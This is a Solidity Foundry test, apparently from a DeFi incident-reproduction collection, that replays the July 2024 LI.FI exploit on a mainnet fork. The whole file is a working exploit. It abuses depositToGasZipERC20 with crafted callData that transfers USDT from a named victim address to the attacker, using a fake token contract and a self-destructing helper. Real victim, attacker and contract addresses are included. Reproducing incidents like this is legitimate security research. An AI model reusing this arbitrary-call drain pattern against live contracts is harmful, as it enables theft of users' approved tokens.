src/test/2024-07/Lifiprotocol_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~10M USD
8// TX : https://app.blocksec.com/explorer/tx/eth/0xd82fe84e63b1aa52e1ce540582ee0895ba4a71ec5e7a632a3faa1aff3e763873
9// Attacker : https://etherscan.io/address/0x8b3cb6bf982798fba233bca56749e22eec42dcf3
10// Attack Contract : https://etherscan.io/address/0x986aca5f2ca6b120f4361c519d7a49c5ac50c240
11// GUY : https://x.com/danielvf/status/1505689981385334784
12 
13library LibSwap {
14    struct SwapData {
15        address callTo;
16        address approveTo;
17        address sendingAssetId;
18        address receivingAssetId;
19        uint256 fromAmount;
20        bytes callData;
21        bool requiresDeposit;
22    }
23}
24 
25interface LiFiDiamond {
26    function depositToGasZipERC20(
27        LibSwap.SwapData calldata _swapData,
28        uint256 _destinationChains,
29        address _recipient
30    ) external;
31}
32 
33contract ContractTest is Test {
34    IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
35    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
36    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
37    LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
38    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
39    address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
40    Money money;
41 
42    function setUp() public {
43        vm.createSelectFork("mainnet", 20_318_962);
44    }
45 
46    function testExpolit() public {
47        emit log_named_decimal_uint(
48            "[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), USDT.decimals()
49        );
50        attack();
51        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), USDT.decimals());
52    }
53 
54    function attack() public {
55        money = new Money();
56        LibSwap.SwapData memory swapData = LibSwap.SwapData({
57            callTo: address(USDT),
58            approveTo: address(this),
59            sendingAssetId: address(money),
60            receivingAssetId: address(money),
61            fromAmount: 1,
62            callData: abi.encodeWithSelector(bytes4(0x23b872dd), address(Victim), address(this), 2_276_295_880_553),
63            requiresDeposit: true
64        });
65 
66        Vulncontract.depositToGasZipERC20(swapData, 0, address(this));
67    }
68 
69    fallback() external payable {}
70}
71 
72contract Money is Test {
73    IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
74    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
75    IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
76    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
77    LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
78    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
79    address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
80    address other = 0xF929bA2AEec16cFfcfc66858A9434E194BAaf80D;
81    address owner;
82    Help help;
83 
84    constructor() payable {
85        owner = msg.sender;
86    }
87 
88    function balanceOf(
89        address who
90    ) external view returns (uint256) {
91        return 1;
92    }
93 
94    function allowance(address _owner, address spender) external view returns (uint256) {
95        return 0;
96    }
97 
98    function approve(address spender, uint256 amount) external returns (bool) {
99        help = new Help();
100        help.sendto{value: 1}(address(Vulncontract));
101        return true;
102    }
103 
104    fallback() external payable {}
105}
106 
107contract Help is Test {
108    IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
109    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
110    IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
111    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
112    LiFiDiamond Vulncontract = LiFiDiamond(0x1231DEB6f5749EF6cE6943a275A1D3E7486F4EaE);
113    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
114    address Victim = 0xABE45eA636df7Ac90Fb7D8d8C74a081b169F92eF;
115    address owner;
116 
117    constructor() payable {
118        owner = msg.sender;
119    }
120 
121    function sendto(
122        address who
123    ) external payable {
124        (bool success, bytes memory retData) = address(Vulncontract).call{value: msg.value}("");
125        require(success, "Error");
126        selfdestruct(payable(msg.sender));
127    }
128 
129    fallback() external payable {}
130}